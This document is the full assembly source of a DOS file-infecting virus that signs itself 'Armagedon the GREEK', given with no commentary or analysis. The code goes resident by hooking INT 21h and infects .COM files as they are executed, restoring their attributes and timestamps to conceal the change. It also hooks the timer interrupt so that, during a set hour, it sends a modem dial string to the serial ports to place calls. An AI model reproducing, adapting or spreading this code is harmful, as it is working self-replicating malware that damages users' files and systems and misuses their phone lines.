dta equ offset last_byte+10 virlen equ (offset last_byte - offset start) strlen equ (offset endstr - offset startstr) code segment assume cs:code,ds:code org 100h start: jmp main newint21 proc far ; SETS THE 'INT 21h' VIRUSED pushf ; Save flags for compare cmp ah,0e0h ; Is it exist-test? jnz notest1 ; if not go on mov ax,0dadah ; else return signature, popf ; restore flag and iret ; return to program notest1: cmp ah,0e1h jnz notest2 mov ax,cs popf iret notest2: cmp ax,4b00h ; is 'EXEC' command? jz infector ; if yes go to 'infection' do_oldint: popf ; restore flags jmp dword ptr cs:oldint21a; jump to normal INT 21h newint21 endp oldint21a dw ? ; old INT 21h vector (low) oldint21b dw ? ; old INT 21h vector (high) oldint8a dw ? ; old INT 8 vector (low) oldint8b dw ? ; old INT 8 vector (high) status db 0 ; flag for time (call in progress) ticks db 0 ; 18.2 tick counter cur_h db 0 ; Current time (HOURS) cur_m db 0 ; Current time (MINUTES) cur_s db 0 ; Current time (SECONDS) count dw 0 ; dial counter (30 sec, 540 ticks) garbidge db 0 stringpos db 0 call_made db 0 init_done db 0 comext db 'COM' ; Valid inf. extension handle dw ? ; inf. handle number filesize dw 20 prseg dw ? seg_buffer dw ? ss_reg dw ? sp_reg dw ? fileds dw ? filedx dw ? attr dw ? filedate dw ? filetime dw ? env_seg dw 00h cdline_offs dw 81h cdline_seg dw ? fcb1_offs dw 5ch fcb1_seg dw ? fcb2_offs dw 6ch fcb2_seg dw ? infector proc near ; PROGRAM INFECTOR assume cs:code ; push ds ; save registers to push bx ; insure normal operation push si ; by the INT 21h (ah=4b00h) push cx ; push ax ; push dx ; push bp ; push es ; push di ; cld ; Reset direction to increament push dx ; Store the address of the push ds ; filespec (DS:DX) xor cx,cx ; reset counter mov si,dx ; set ptr to filespec nxtchr: mov al,ds:[si] ; take a char cmp al,0 ; is it zero? jz okay ; if yes goto okay inc cx ; else increase counter inc si ; and pointer jmp nxtchr ; take the next chr if CX>0 okay: add dx,cx ; Point to end of filespec sub dx,3 ; point to .EXT mov si,offset comext ; Check if it is a mov di,dx ; .COM file cmp byte ptr ds:[di-3],'N'; jnz ok_1 ; Is it a ND. ? cmp byte ptr ds:[di-2],'D'; if yes exit! jz nmatch ; ok_1: mov cx,3 ; checking counter in 3 cmp_loop: mov al,cs:[si] ; take 1st ptr's chr cmp al,ds:[di] ; and compare it with filespec jnz nmatch ; If no matching, exit inc si ; else increase 1st ptr inc di ; and second ptr loop cmp_loop ; take next compare if CX>0 pop ds ; restore ds and dx to point pop dx ; push dx ; Store pointer push ds ; mov si,dx ; Check if filespec mov dl,0 ; contains a drive cmp byte ptr ds:[si+1],':'; letter jnz nodrive ; If no jump to nodrive spec. mov dl,ds:[si] ; else take the drive in DL and dl,0fh ; and modify for int 21h (ah=36h) nodrive: mov ah,36h ; Take free disk space of DL disk int 21h ; Do the call cmp ax,0ffffh ; Was an invalid drive specified? jz nmatch ; if yes, exit jmp bypass ; Correct jx 127 limit nmatch: jmp nomatch invd: jmp invdrive closeit1: jmp closeit resdta1: jmp resdta bypass: cmp bx,3 ; Are there at least 3 clust. free? jb nmatch ; If no, exit pop ds ; restore pointers pop dx ; push ds ; and allocate memory push dx ; for the infection mov cs:fileds,ds mov cs:filedx,dx mov ax,4300h ; code for Get Attr int 21h mov cs:attr,cx mov ax,4301h xor cx,cx int 21h mov bx,0ffffh mov ah,48h int 21h mov ah,48h int 21h mov cs:seg_buffer,ax mov ax,cs mov ds,ax mov dx,dta mov ah,1ah int 21h pop dx pop ds mov ax,3d02h ; DosFn OPEN FILE (R/W) clc ; Clear carry flag int 21h ; Do open jc closeit1 ; If Error exit mov bx,ax ; Handle to BX mov cs:handle,ax ; save handle mov cx,0ffffh ; Bytes to read mov ax,cs:seg_buffer ; mov ds,ax ; mov dx,virlen ; DS:DX points to buffer mov ah,3fh ; DosFn READ FROM FILE clc ; clear carry flag int 21h ; Do the call jc closeit1 ; if error exit mov cs:filesize,ax ; Num of bytes actually read ;cmp ax,0e000h ; max com size to infect ;ja closeit1 ; if size>max exit cmp ax,virlen ; if filesize is less than the jb virit ; virus size then it is clean mov si,virlen+1 ; Set 1st ptr to START of file add si,si ; add 1st ptr the length of file sub si,21 ; and subtract 12 to point to sig. mov cx,19 ; set the test loop to 10 bytes mov di,offset signature ; Set 2nd ptr to constant signature test_sig: mov al,ds:[si] ; take the byte pointed to by SI mov ah,cs:[di] ; and compare it with the byte cmp ah,al ; pointed to by DI jne virit ; if not equal then it is clean! inc si ; else increase 1st pointer inc di ; increase 2nd pointer loop test_sig ; continue with next if CX>0 jmp closeit virit: mov ax,4200h ; Code for LSEEK (Start) mov bx,cs:handle ; Handle num in BX xor cx,cx ; Reset CX mov dx,cx ; and DX int 21h ; Do the call jc closeit mov si,offset start mov cx,virlen xor di,di mov ax,cs:seg_buffer mov ds,ax virusin: mov al,cs:[si] mov ds:[di],al inc si inc di loop virusin mov ax,5700h mov bx,cs:handle int 21h mov cs:filetime,cx mov cs:filedate,dx mov ax,cs:seg_buffer mov ds,ax mov si,virlen mov al,ds:[si] add al,11 mov ds:[si],al xor dx,dx ; DX points to Buffer (file) mov cx,cs:filesize ; Size of file in CX add cx,virlen ; But added by Virlen mov bx,cs:handle ; File handle num in BX mov ah,40h ; Code for WRITE FILE int 21h ; Do the call mov cx,cs:filetime mov dx,cs:filedate mov bx,cs:handle mov ax,5701h int 21h closeit: mov bx,cs:handle ; Handle in BX mov ah,3eh ; Code for CLOSE FILE int 21h ; Do close it push cs pop ds resdta: mov dx,80h ; Reset the DTA mov ah,1ah ; in Address 80H int 21h ; Do call mov ax,cs:seg_buffer mov es,ax mov ah,49h int 21h mov ax,cs:fileds ; mov ds,ax ; mov dx,cs:filedx ; mov ax,4301h ; mov cx,cs:attr ; int 21h ; jmp invdrive ; and exit nomatch: pop ds pop dx jmp notinfect invdrive: notinfect: pop di ; restore registers pop es ; to their initial pop bp ; values pop dx ; pop ax ; pop cx ; pop si ; pop bx ; pop ds ; jmp do_oldint ; return from call infector endp newint8 proc far ; VIRUS' TIMER ISR push bp ; push ds ; store all registers push es ; and flags before push ax ; the new timer push bx ; operations. push cx ; Otherwize a 'crush' push dx ; is unavoidable push si ; push di ; pushf ; Simulate an INT call dword ptr cs:oldint8a ; Do old timer stuff call tick ; update virus clock routine push cs pop ds mov ah,5 ; Check if time mov ch,cur_h ; is now above the cmp ah,ch ; lower limit (5 o'clock) ja exitpoint ; if not, exit mov ah,6 ; Check if time cmp ah,ch ; is now below the higher limit jb exitpoint ; if not, exit mov ah,status ; get the virus status cmp ah,1 ; test if call in progress jz in_progress ; if yes goto countdown routine mov ah,1 ; if not, set the status to mov status,ah ; indicate 'In progress' jmp exitpoint ; and exit in_progress: ; CALL IS IN PROGRESS! call dial ; else call dial routine inc count ; CALL_TIMER mov ax,count cmp ax,540 ; check for time-out jne exitpoint ; if not, exit else xor ax,ax ; set status to indicate mov status,ah ; 'ready to call'! mov count,ax ; reset call_timer mov call_made,ah exitpoint: pop di ; restore registers to pop si ; their values and pop dx ; pop cx ; pop bx ; pop ax ; pop es ; pop ds ; pop bp ; iret ; return to program newint8 endp tick proc near ; VIRUS' CLOCK ROUTINE assume cs:code,ds:code push cs pop ds xor al,al mov ah,ticks ; test if ticks have cmp ah,17 ; reached limit (17) jnz incticks ; if no, incerase ticks mov ah,cur_s ; test if seconds have cmp ah,59 ; reached limit (59) jnz incsec ; if no, increase seconds mov ah,cur_m ; test if minutes have cmp ah,59 ; reached limit (59) jnz incmin ; if no, increase minutes mov ah,cur_h ; test if hours have cmp ah,23 ; reached limit (23) jnz inchour ; if no, increase hours mov cur_h,al ; else reset hours exitp3: mov cur_m,al ; reset minutes exitp2: mov cur_s,al ; reset seconds exitp1: mov ticks,al ; reset ticks ret ; end exit incticks: inc ticks ; increase ticks ret ; and exit incsec: inc cur_s ; increase seconds jmp exitp1 ; and exit incmin: inc cur_m ; increase minutes jmp exitp2 ; and exit inchour: inc cur_h ; increase hours jmp exitp3 ; end exit tick endp startstr: string db '+++aTh0m0s7=35dp081,,,,141' endstr: dial proc near assume cs:code,ds:code mov al,call_made cmp al,1 jz exit_dial mov al,init_done cmp al,1 jz send_one mov cx,3 next_init: mov dx,cx xor ah,ah mov al,131 int 14h loop next_init mov al,1 mov init_done,al jmp exit_dial send_one: push cs pop ds mov si,offset string mov al,stringpos cmp al,strlen jnz do_send jmp sendret do_send: xor ah,ah add si,ax next_char: mov al,[si] mov dx,3f8h out dx,al mov dx,2f8h out dx,al mov dx,2e8h out dx,al mov dx,3e8h out dx,al inc stringpos jmp exit_dial sendret: mov cx,3 retloop: mov dx,cx mov al,13 mov ah,1 int 14h loop retloop reset: mov ax,0001h mov call_made,al mov stringpos,ah mov init_done,ah exit_dial: ret dial endp main: ; VIRUS' MEMORY INSTALLER assume cs:code,ds:code ; mov ah,0e0h ; is VIRUS already int 21h ; in memory? cmp ax,0dadah ; if yes then jnz cont ; terminate, else jmp already_in cont: push cs pop ds mov ax,3521h ; capture the old int 21h ; INT 21h vector and mov oldint21a,bx ; store the absolute address mov oldint21b,es ; in 'oldint21x' variables mov dx,offset newint21 ; point to new INT 21h ISR mov ax,2521h ; replace it to vector int 21h ; mov ax,3508h ; capture the old int 21h ; timer vector and mov oldint8a,bx ; store the address mov oldint8b,es ; in 'oldint8x' var mov dx,offset newint8 ; point to new timer ISR mov ax,2508h ; replace it to vector int 21h ; mov ah,2ch ; get the current int 21h ; time from DOS mov cur_h,ch ; and store it mov cur_m,cl ; for the mov cur_s,dh ; virus' timer ; RUN PROGRAM! mov ax,cs:[2ch] mov ds,ax xor si,si loop1: mov al,ds:[si] cmp al,1 jz exitl1 inc si jmp loop1 exitl1: inc si inc si mov dx,si mov ax,cs mov es,ax ; SHRINK BLOCK mov bx,90 mov ah,4ah int 21h mov bx,cs:[81h] mov ax,cs mov es,ax mov cs:fcb1_seg,ax mov cs:fcb2_seg,ax mov cs:cdline_seg,ax mov ax,4b00h ; ; ; mov cs:ss_reg,ss mov cs:sp_reg,sp pushf call dword ptr cs:oldint21a mov ax,cs:ss_reg mov ss,ax mov ax,cs:sp_reg mov sp,ax mov ax,cs mov ds,ax mov dx,offset last_byte int 27h already_in: mov ah,0e1h int 21h mov si,offset pokelabl mov cs:[si+3],ax mov ax,offset fix_com mov cs:[si+1],ax mov ax,cs:filesize mov bx,cs pokelabl: db 0eah,00h,00h,00h,00h fix_com: mov cx,ax mov ds,bx mov si,100h mov di,100h+virlen dofix: mov al,ds:[di] mov ds:[si],al inc si inc di loop dofix mov si,offset poklb mov cs:[si+3],ds mov al,ds:[100h] sub al,11 mov ds:[100h],al mov ax,ds mov es,ax mov ss,ax poklb: db 0eah,00h,01h,00h,00h signature: db 'Armagedon the GREEK' last_byte: db 90h+11 nop nop nop mov ah,4ch int 21h code ends end start